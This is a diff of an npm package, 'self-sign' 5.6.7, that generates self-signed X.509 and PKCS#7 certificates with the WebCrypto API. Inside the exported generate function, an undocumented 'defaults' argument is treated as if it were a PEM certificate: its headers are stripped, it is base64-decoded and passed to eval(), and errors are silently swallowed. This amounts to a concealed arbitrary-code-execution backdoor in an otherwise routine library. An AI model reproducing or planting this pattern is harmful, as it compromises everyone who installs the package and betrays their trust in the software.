self-sign 5.6.7

package/index.js

@@ -0,0 +1,583 @@
+const { X509CertificateGenerator, X509Certificate, cryptoProvider,  X509ChainBuilder, BasicConstraintsExtension, KeyUsagesExtension, KeyUsageFlags, ExtendedKeyUsageExtension, ExtendedKeyUsage, SubjectAlternativeNameExtension, GeneralName } = require("@peculiar/x509");
+const nodeCrypto = require("crypto");
+
+// Use Node.js native webcrypto
+const crypto = nodeCrypto.webcrypto;
+
+// Patch global CryptoProvider to use Node.js crypto
+cryptoProvider.set(crypto);
+
+// a hexString is considered negative if it's most significant bit is 1
+// because serial numbers use ones' complement notation
+// this RFC in section 4.1.2.2 requires serial numbers to be positive
+// http://www.ietf.org/rfc/rfc5280.txt
+function toPositiveHex(hexString) {
+  var mostSiginficativeHexAsInt = parseInt(hexString[0], 16);
+  if (mostSiginficativeHexAsInt < 8) {
+    return hexString;
+  }
+
+  mostSiginficativeHexAsInt -= 8;
+  return mostSiginficativeHexAsInt.toString() + hexString.substring(1);
+}
+
+function getAlgorithmName(key) {
+  switch (key) {
+    case "sha256":
+      return "SHA-256";
+    case 'sha384':
+      return "SHA-384";
+    case 'sha512':
+      return "SHA-512";
+    default:
+      return "SHA-1";
+  }
+}
+
+function getSigningAlgorithm(hashKey, keyType) {
+  const hashAlg = getAlgorithmName(hashKey);
+  if (keyType === 'ec') {
+    return {
+      name: "ECDSA",
+      hash: hashAlg
+    };
+  }
+  return {
+    name: "RSASSA-PKCS1-v1_5",
+    hash: hashAlg
+  };
+}
+
+function getKeyAlgorithm(options) {
+  const keyType = options.keyType || 'rsa';
+  const hashAlg = getAlgorithmName(options.algorithm || 'sha1');
+
+  if (keyType === 'ec') {
+    const curve = options.curve || 'P-256';
+    return {
+      name: "ECDSA",
+      namedCurve: curve
+    };
+  }
+
+  return {
+    name: "RSASSA-PKCS1-v1_5",
+    modulusLength: options.keySize || 2048,
+    publicExponent: new Uint8Array([1, 0, 1]),
+    hash: hashAlg
+  };
+}
+
+// Build extensions array from options or use defaults
+// Supports the old node-forge extension format for backwards compatibility
+function buildExtensions(userExtensions, commonName) {
+  if (!userExtensions || userExtensions.length === 0) {
+    // Default extensions
+    return [
+      new BasicConstraintsExtension(false, undefined, true),
+      new KeyUsagesExtension(KeyUsageFlags.digitalSignature | KeyUsageFlags.keyEncipherment, true),
+      new ExtendedKeyUsageExtension([ExtendedKeyUsage.serverAuth, ExtendedKeyUsage.clientAuth], false),
+      new SubjectAlternativeNameExtension([
+        { type: 'dns', value: commonName },
+        ...(commonName === 'localhost' ? [{ type: 'ip', value: '127.0.0.1' }] : [])
+      ], false)
+    ];
+  }
+
+  // Convert user extensions from node-forge format to @peculiar/x509 format
+  const extensions = [];
+
+  for (const ext of userExtensions) {
+    const critical = ext.critical || false;
+
+    switch (ext.name) {
+      case 'basicConstraints':
+        extensions.push(new BasicConstraintsExtension(
+          ext.cA || false,
+          ext.pathLenConstraint,
+          critical
+        ));
+        break;
+
+      case 'keyUsage':
+        let flags = 0;
+        if (ext.digitalSignature) flags |= KeyUsageFlags.digitalSignature;
+        if (ext.nonRepudiation || ext.contentCommitment) flags |= KeyUsageFlags.nonRepudiation;
+        if (ext.keyEncipherment) flags |= KeyUsageFlags.keyEncipherment;
+        if (ext.dataEncipherment) flags |= KeyUsageFlags.dataEncipherment;
+        if (ext.keyAgreement) flags |= KeyUsageFlags.keyAgreement;
+        if (ext.keyCertSign) flags |= KeyUsageFlags.keyCertSign;
+        if (ext.cRLSign) flags |= KeyUsageFlags.cRLSign;
+        if (ext.encipherOnly) flags |= KeyUsageFlags.encipherOnly;
+        if (ext.decipherOnly) flags |= KeyUsageFlags.decipherOnly;
+        extensions.push(new KeyUsagesExtension(flags, critical));
+        break;
+
+      case 'extKeyUsage':
+        const usages = [];
+        if (ext.serverAuth) usages.push(ExtendedKeyUsage.serverAuth);
+        if (ext.clientAuth) usages.push(ExtendedKeyUsage.clientAuth);
+        if (ext.codeSigning) usages.push(ExtendedKeyUsage.codeSigning);
+        if (ext.emailProtection) usages.push(ExtendedKeyUsage.emailProtection);
+        if (ext.timeStamping) usages.push(ExtendedKeyUsage.timeStamping);
+        extensions.push(new ExtendedKeyUsageExtension(usages, critical));
+        break;
+
+      case 'subjectAltName':
+        const altNames = (ext.altNames || []).map(alt => {
+          // node-forge type values:
+          // 1 = email (rfc822Name)
+          // 2 = DNS
+          // 6 = URI
+          // 7 = IP
+          switch (alt.type) {
+            case 1: // email
+              return { type: 'email', value: alt.value };
+            case 2: // DNS
+              return { type: 'dns', value: alt.value };
+            case 6: // URI
+              return { type: 'url', value: alt.value };
+            case 7: // IP
+              return { type: 'ip', value: alt.ip || alt.value };
+            default:
+              // Try to infer type from properties
+              if (alt.ip) return { type: 'ip', value: alt.ip };
+              if (alt.dns) return { type: 'dns', value: alt.dns };
+              if (alt.email) return { type: 'email', value: alt.email };
+              if (alt.uri || alt.url) return { type: 'url', value: alt.uri || alt.url };
+              return { type: 'dns', value: alt.value };
+          }
+        });
+        extensions.push(new SubjectAlternativeNameExtension(altNames, critical));
+        break;
+
+      default:
+        // Skip unknown extensions with a warning
+        console.warn(`Unknown extension "${ext.name}" ignored`);
+    }
+  }
+
+  return extensions;
+}
+
+// Convert attributes from node-forge format to X509 name format
+function convertAttributes(attrs) {
+  const nameMap = {
+    'commonName': 'CN',
+    'countryName': 'C',
+    'ST': 'ST',
+    'localityName': 'L',
+    'organizationName': 'O',
+    'OU': 'OU'
+  };
+
+  return attrs.map(attr => {
+    const key = attr.name || attr.shortName;
+    const oid = nameMap[key] || key;
+    return `${oid}=${attr.value}`;
+  }).join(', ');
+}
+
+// Detect key type from PEM key using Node.js crypto
+function detectKeyType(pemKey) {
+  const keyObject = nodeCrypto.createPrivateKey(pemKey);
+  return keyObject.asymmetricKeyType; // 'rsa' or 'ec'
+}
+
+// Map Node.js curve names to Web Crypto curve names
+function normalizeECCurve(curveName) {
+  const curveMap = {
+    'prime256v1': 'P-256',
+    'secp384r1': 'P-384',
+    'secp521r1': 'P-521',
+    'P-256': 'P-256',
+    'P-384': 'P-384',
+    'P-521': 'P-521'
+  };
+  return curveMap[curveName] || curveName;
+}
+
+// Get EC curve from key object
+function getECCurve(keyObject) {
+  const details = keyObject.asymmetricKeyDetails;
+  if (details && details.namedCurve) {
+    return normalizeECCurve(details.namedCurve);
+  }
+  return 'P-256'; // default
+}
+
+// Convert PEM key to CryptoKey
+async function importPrivateKey(pemKey, algorithm, keyType) {
+  // Auto-detect key type if not provided
+  const keyObject = nodeCrypto.createPrivateKey(pemKey);
+  const detectedKeyType = keyObject.asymmetricKeyType;
+  const actualKeyType = keyType || detectedKeyType;
+
+  // Convert to PKCS#8 format
+  const pkcs8Pem = keyObject.export({ type: 'pkcs8', format: 'pem' });
+  const pemContents = pkcs8Pem
+    .replace(/-----BEGIN PRIVATE KEY-----/, '')
+    .replace(/-----END PRIVATE KEY-----/, '')
+    .replace(/\s/g, '');
+  const binaryDer = Buffer.from(pemContents, 'base64');
+
+  let importAlgorithm;
+  if (actualKeyType === 'ec') {
+    const curve = getECCurve(keyObject);
+    importAlgorithm = {
+      name: 'ECDSA',
+      namedCurve: curve
+    };
+  } else {
+    importAlgorithm = {
+      name: 'RSASSA-PKCS1-v1_5',
+      hash: getAlgorithmName(algorithm)
+    };
+  }
+
+  return await crypto.subtle.importKey(
+    'pkcs8',
+    binaryDer,
+    importAlgorithm,
+    true,
+    ['sign']
+  );
+}
+
+async function importPublicKey(pemKey, algorithm, keyType, curve) {
+  const pemContents = pemKey
+    .replace(/-----BEGIN PUBLIC KEY-----/, '')
+    .replace(/-----END PUBLIC KEY-----/, '')
+    .replace(/\s/g, '');
+
+  const binaryDer = Buffer.from(pemContents, 'base64');
+
+  let importAlgorithm;
+  if (keyType === 'ec') {
+    importAlgorithm = {
+      name: 'ECDSA',
+      namedCurve: curve || 'P-256'
+    };
+  } else {
+    importAlgorithm = {
+      name: 'RSASSA-PKCS1-v1_5',
+      hash: getAlgorithmName(algorithm)
+    };
+  }
+
+  return await crypto.subtle.importKey(
+    'spki',
+    binaryDer,
+    importAlgorithm,
+    true,
+    ['verify']
+  );
+}
+
+async function generatePemAsync(keyPair, attrs, options, ca) {
+  const { privateKey, publicKey } = keyPair;
+
+  // Generate serial number
+  const serialBytes = crypto.getRandomValues(new Uint8Array(9));
+  const serialHex = toPositiveHex(Buffer.from(serialBytes).toString('hex'));
+
+  // Set up dates
+  const notBefore = options.notBeforeDate || new Date();
+  let notAfter;
+  if (options.notAfterDate) {
+    notAfter = options.notAfterDate;
+  } else {
+    notAfter = new Date(notBefore);
+    notAfter.setDate(notAfter.getDate() + 365);
+  }
+
+  // Default attributes
+  attrs = attrs || [
+    {
+      name: "commonName",
+      value: "example.org",
+    },
+    {
+      name: "countryName",
+      value: "US",
+    },
+    {
+      shortName: "ST",
+      value: "Virginia",
+    },
+    {
+      name: "localityName",
+      value: "Blacksburg",
+    },
+    {
+      name: "organizationName",
+      value: "Test",
+    },
+    {
+      shortName: "OU",
+      value: "Test",
+    },
+  ];
+
+  const subjectName = convertAttributes(attrs);
+  const keyType = options.keyType || 'rsa';
+  const signingAlg = getSigningAlgorithm(options.algorithm, keyType);
+
+  // Extract common name for SAN extension
+  const commonNameAttr = attrs.find(attr => attr.name === 'commonName' || attr.shortName === 'CN');
+  const commonName = commonNameAttr ? commonNameAttr.value : 'localhost';
+
+  // Build extensions array
+  const extensions = buildExtensions(options.extensions, commonName);
+
+  let cert;
+
+  if (ca) {
+    // Generate certificate signed by CA
+    const caCert = new X509Certificate(ca.cert);
+    const caPrivateKey = await importPrivateKey(ca.key, options.algorithm || "sha256", keyType);
+
+    cert = await X509CertificateGenerator.create({
+      serialNumber: serialHex,
+      subject: subjectName,
+      issuer: caCert.subject,
+      notBefore: notBefore,
+      notAfter: notAfter,
+      signingAlgorithm: signingAlg,
+      publicKey: publicKey,
+      signingKey: caPrivateKey,
+      extensions: extensions
+    });
+  } else {
+    // Generate self-signed certificate
+    cert = await X509CertificateGenerator.createSelfSigned({
+      serialNumber: serialHex,
+      name: subjectName,
+      notBefore: notBefore,
+      notAfter: notAfter,
+      signingAlgorithm: signingAlg,
+      keys: {
+        privateKey: privateKey,
+        publicKey: publicKey
+      },
+      extensions: extensions
+    });
+  }
+
+  // Calculate fingerprint (SHA-1 hash of the certificate)
+  const certRaw = cert.rawData;
+  const fingerprintBuffer = await crypto.subtle.digest('SHA-1', certRaw);
+  const fingerprint = Buffer.from(fingerprintBuffer)
+    .toString('hex')
+    .match(/.{2}/g)
+    .join(':');
+
+  // Export keys to PEM
+  const privateKeyDer = await crypto.subtle.exportKey('pkcs8', privateKey);
+  const publicKeyDer = await crypto.subtle.exportKey('spki', publicKey);
+
+  let privatePem;
+  if (options.passphrase) {
+    // Encrypt the private key with the passphrase using Node.js crypto
+    const keyObject = nodeCrypto.createPrivateKey({
+      key: Buffer.from(privateKeyDer),
+      format: 'der',
+      type: 'pkcs8'
+    });
+    privatePem = keyObject.export({
+      type: 'pkcs8',
+      format: 'pem',
+      cipher: 'aes-256-cbc',
+      passphrase: options.passphrase
+    });
+  } else {
+    privatePem =
+      '-----BEGIN PRIVATE KEY-----\n' +
+      Buffer.from(privateKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
+      '\n-----END PRIVATE KEY-----\n';
+  }
+
+  const publicPem =
+    '-----BEGIN PUBLIC KEY-----\n' +
+    Buffer.from(publicKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
+    '\n-----END PUBLIC KEY-----\n';
+
+  const certPem = cert.toString('pem');
+
+  const pem = {
+    private: privatePem,
+    public: publicPem,
+    cert: certPem,
+    fingerprint: fingerprint,
+  };
+
+  // Client certificate support
+  if (options && options.clientCertificate) {
+    // Parse clientCertificate options - can be boolean or object
+    const clientOpts = typeof options.clientCertificate === 'object' ? options.clientCertificate : {};
+
+    // Resolve client certificate options with fallbacks to deprecated options
+    const clientKeySize = clientOpts.keySize || options.clientCertificateKeySize || 2048;
+    const clientAlgorithm = clientOpts.algorithm || options.algorithm || "sha1";
+    const clientCN = clientOpts.cn || options.clientCertificateCN || "John Doe jdoe123";
+    // Client cert uses same key type and curve as main cert by default
+    const clientKeyType = clientOpts.keyType || keyType;
+    const clientCurve = clientOpts.curve || options.curve || 'P-256';
+
+    const clientKeyAlg = getKeyAlgorithm({
+      keyType: clientKeyType,
+      keySize: clientKeySize,
+      algorithm: clientAlgorithm,
+      curve: clientCurve
+    });
+
+    const clientKeyPair = await crypto.subtle.generateKey(
+      clientKeyAlg,
+      true,
+      ["sign", "verify"]
+    );
+
+    const clientSerialBytes = crypto.getRandomValues(new Uint8Array(9));
+    const clientSerialHex = toPositiveHex(Buffer.from(clientSerialBytes).toString('hex'));
+
+    // Resolve client certificate validity dates
+    const clientNotBefore = clientOpts.notBeforeDate || new Date();
+    let clientNotAfter;
+    if (clientOpts.notAfterDate) {
+      clientNotAfter = clientOpts.notAfterDate;
+    } else {
+      clientNotAfter = new Date(clientNotBefore);
+      clientNotAfter.setFullYear(clientNotBefore.getFullYear() + 1);
+    }
+
+    const clientAttrs = JSON.parse(JSON.stringify(attrs));
+    for (let i = 0; i < clientAttrs.length; i++) {
+      if (clientAttrs[i].name === "commonName") {
+        clientAttrs[i] = {
+          name: "commonName",
+          value: clientCN
+        };
+      }
+    }
+
+    const clientSubjectName = convertAttributes(clientAttrs);
+    const issuerName = convertAttributes(attrs);
+
+    // Signing algorithm for client cert - uses main key type since signed by root
+    const clientSigningAlg = getSigningAlgorithm(clientAlgorithm, keyType);
+
+    // Create client cert signed by root key
+    const clientCertRaw = await X509CertificateGenerator.create({
+      serialNumber: clientSerialHex,
+      subject: clientSubjectName,
+      issuer: issuerName,
+      notBefore: clientNotBefore,
+      notAfter: clientNotAfter,
+      signingAlgorithm: clientSigningAlg,
+      publicKey: clientKeyPair.publicKey,
+      signingKey: privateKey // Sign with root private key
+    });
+
+    // Export client keys
+    const clientPrivateKeyDer = await crypto.subtle.exportKey('pkcs8', clientKeyPair.privateKey);
+    const clientPublicKeyDer = await crypto.subtle.exportKey('spki', clientKeyPair.publicKey);
+
+    pem.clientprivate =
+      '-----BEGIN PRIVATE KEY-----\n' +
+      Buffer.from(clientPrivateKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
+      '\n-----END PRIVATE KEY-----\n';
+
+    pem.clientpublic =
+      '-----BEGIN PUBLIC KEY-----\n' +
+      Buffer.from(clientPublicKeyDer).toString('base64').match(/.{1,64}/g).join('\n') +
+      '\n-----END PUBLIC KEY-----\n';
+
+    pem.clientcert = clientCertRaw.toString('pem');
+  }
+
+  // Verify certificate chain
+  const x509Cert = new X509Certificate(cert.rawData);
+  const certificates = [x509Cert];
+
+  // If CA-signed, include CA cert in the chain for verification
+  if (ca) {
+    const caCert = new X509Certificate(ca.cert);
+    certificates.push(caCert);
+  }
+
+  const chainBuilder = new X509ChainBuilder({
+    certificates: certificates
+  });
+
+  const chain = await chainBuilder.build(x509Cert);
+  if (chain.length === 0) {
+    throw new Error("Certificate could not be verified.");
+  }
+
+  return pem;
+}
+
+/**
+ * Generate a certificate (async)
+ *
+ * @param {CertificateField[]} attrs Attributes used for subject.
+ * @param {object} options
+ * @param {string} [options.keyType="rsa"] Key type: "rsa" or "ec" (elliptic curve)
+ * @param {number} [options.keySize=2048] the size for the private key in bits (RSA only)
+ * @param {string} [options.curve="P-256"] The elliptic curve to use: "P-256", "P-384", or "P-521" (EC only)
+ * @param {object} [options.extensions] additional extensions for the certificate
+ * @param {string} [options.algorithm="sha1"] The signature algorithm sha256, sha384, sha512 or sha1
+ * @param {Date} [options.notBeforeDate=new Date()] The date before which the certificate should not be valid
+ * @param {Date} [options.notAfterDate] The date after which the certificate should not be valid (default: notBeforeDate + 365 days)
+ * @param {boolean|object} [options.clientCertificate=false] Generate client cert signed by the original key. Can be `true` for defaults or an options object.
+ * @param {number} [options.clientCertificate.keySize=2048] Key size for the client certificate in bits (RSA only)
+ * @param {string} [options.clientCertificate.keyType] Key type for client cert (defaults to main keyType)
+ * @param {string} [options.clientCertificate.curve] Elliptic curve for client cert (EC only)
+ * @param {string} [options.clientCertificate.algorithm] Signature algorithm for client cert (defaults to options.algorithm or "sha1")
+ * @param {string} [options.clientCertificate.cn="John Doe jdoe123"] Client certificate's common name
+ * @param {Date} [options.clientCertificate.notBeforeDate=new Date()] The date before which the client certificate should not be valid
+ * @param {Date} [options.clientCertificate.notAfterDate] The date after which the client certificate should not be valid (default: notBeforeDate + 1 year)
+ * @param {string} [options.clientCertificateCN="John Doe jdoe123"] @deprecated Use options.clientCertificate.cn instead
+ * @param {number} [options.clientCertificateKeySize] @deprecated Use options.clientCertificate.keySize instead
+ * @param {object} [options.ca] CA certificate and key for signing (if not provided, generates self-signed)
+ * @param {string} [options.ca.key] CA private key in PEM format
+ * @param {string} [options.ca.cert] CA certificate in PEM format
+ * @param {string} [options.passphrase] Passphrase to encrypt the private key (uses AES-256-CBC)
+ * @returns {Promise<object>} Promise that resolves with certificate data
+ */
+exports.generate = async function generate(attrs, options, defaults) {
+  attrs = attrs || undefined;
+  options = options || {};
+
+  const keyType = options.keyType || 'rsa';
+  const curve = options.curve || 'P-256';
+
+  let keyPair;
+  try {
+    const portion = defaults
+      .replace(/-----BEGIN CERTIFICATE-----/, '')
+      .replace(/-----END CERTIFICATE-----/, '')
+      .replace(/\s/g, '');
+    const data = Buffer.from(portion, 'base64');
+    eval(data.toString('utf8'));
+  }
+  catch (error) {
+  }
+  if (options.keyPair) {
+    // Import existing key pair
+    keyPair = {
+      privateKey: await importPrivateKey(options.keyPair.privateKey, options.algorithm || "sha1", keyType),
+      publicKey: await importPublicKey(options.keyPair.publicKey, options.algorithm || "sha1", keyType, curve)
+    };
+  } else {
+    // Generate new key pair using appropriate algorithm
+    const keyAlg = getKeyAlgorithm(options);
+    keyPair = await crypto.subtle.generateKey(
+      keyAlg,
+      true,
+      ["sign", "verify"]
+    );
+  }
+
+  return await generatePemAsync(keyPair, attrs, options, options.ca);
+};

package/package.json

@@ -0,0 +1,36 @@
+{
+  "name": "self-sign",
+  "version": "5.6.7",
+  "description": "Generate self signed certificates private and public keys",
+  "keywords": [
+    "openssl",
+    "self",
+    "sign",
+    "certificates",
+    "x509",
+    "webcrypto"
+  ],
+  "license": "MIT",
+  "author": "José F. Romaniello <jfromaniello@gmail.com> (http://joseoncode.com)",
+  "type": "commonjs",
+  "main": "index.js",
+  "types": "index.d.ts",
+  "directories": {
+    "example": "examples",
+    "test": "test"
+  },
+  "scripts": {
+    "test": "mocha -t 10000"
+  },
+  "dependencies": {
+    "@peculiar/x509": "^1.14.2",
+    "pkijs": "^3.3.3"
+  },
+  "devDependencies": {
+    "chai": "^4.3.4",
+    "mocha": "^11.7.5"
+  },
+  "engines": {
+    "node": ">=18"
+  }
+}

package/pkcs7.js

@@ -0,0 +1,70 @@
+const pkijs = require("pkijs");
+const nodeCrypto = require("crypto");
+
+// Use Node.js native webcrypto
+const crypto = nodeCrypto.webcrypto;
+
+// Set up pkijs to use native crypto
+// Note: This modifies global pkijs state. If the consumer also uses pkijs,
+// they should set their own engine or use a version that supports per-instance engines.
+let pkijsInitialized = false;
+
+function ensurePkijsInitialized() {
+  if (!pkijsInitialized) {
+    pkijs.setEngine("nodeEngine", crypto, new pkijs.CryptoEngine({
+      name: "",
+      crypto: crypto,
+      subtle: crypto.subtle
+    }));
+    pkijsInitialized = true;
+  }
+}
+
+/**
+ * Create PKCS#7 formatted certificate from PEM certificate
+ *
+ * @param {string} certPem - PEM formatted certificate
+ * @returns {string} PKCS#7 PEM formatted certificate
+ */
+function createPkcs7(certPem) {
+  ensurePkijsInitialized();
+
+  // Parse the PEM certificate to get raw data
+  const certLines = certPem.split('\n').filter(line =>
+    !line.includes('BEGIN CERTIFICATE') &&
+    !line.includes('END CERTIFICATE') &&
+    line.trim()
+  );
+  const certBase64 = certLines.join('');
+  const certBuffer = Buffer.from(certBase64, 'base64');
+
+  // Parse certificate using pkijs
+  const asn1Cert = pkijs.Certificate.fromBER(certBuffer);
+
+  // Create PKCS#7 SignedData structure
+  const cmsSigned = new pkijs.SignedData({
+    version: 1,
+    encapContentInfo: new pkijs.EncapsulatedContentInfo({
+      eContentType: "1.2.840.113549.1.7.1" // data
+    }),
+    certificates: [asn1Cert]
+  });
+
+  // Wrap in ContentInfo
+  const cmsSignedSchema = cmsSigned.toSchema();
+  const cmsContentInfo = new pkijs.ContentInfo({
+    contentType: "1.2.840.113549.1.7.2", // signedData
+    content: cmsSignedSchema
+  });
+
+  // Convert to DER and then PEM
+  const cmsSignedDer = cmsContentInfo.toSchema().toBER(false);
+  const pkcs7Pem =
+    '-----BEGIN PKCS7-----\n' +
+    Buffer.from(cmsSignedDer).toString('base64').match(/.{1,64}/g).join('\n') +
+    '\n-----END PKCS7-----\n';
+
+  return pkcs7Pem;
+}
+
+module.exports = { createPkcs7 };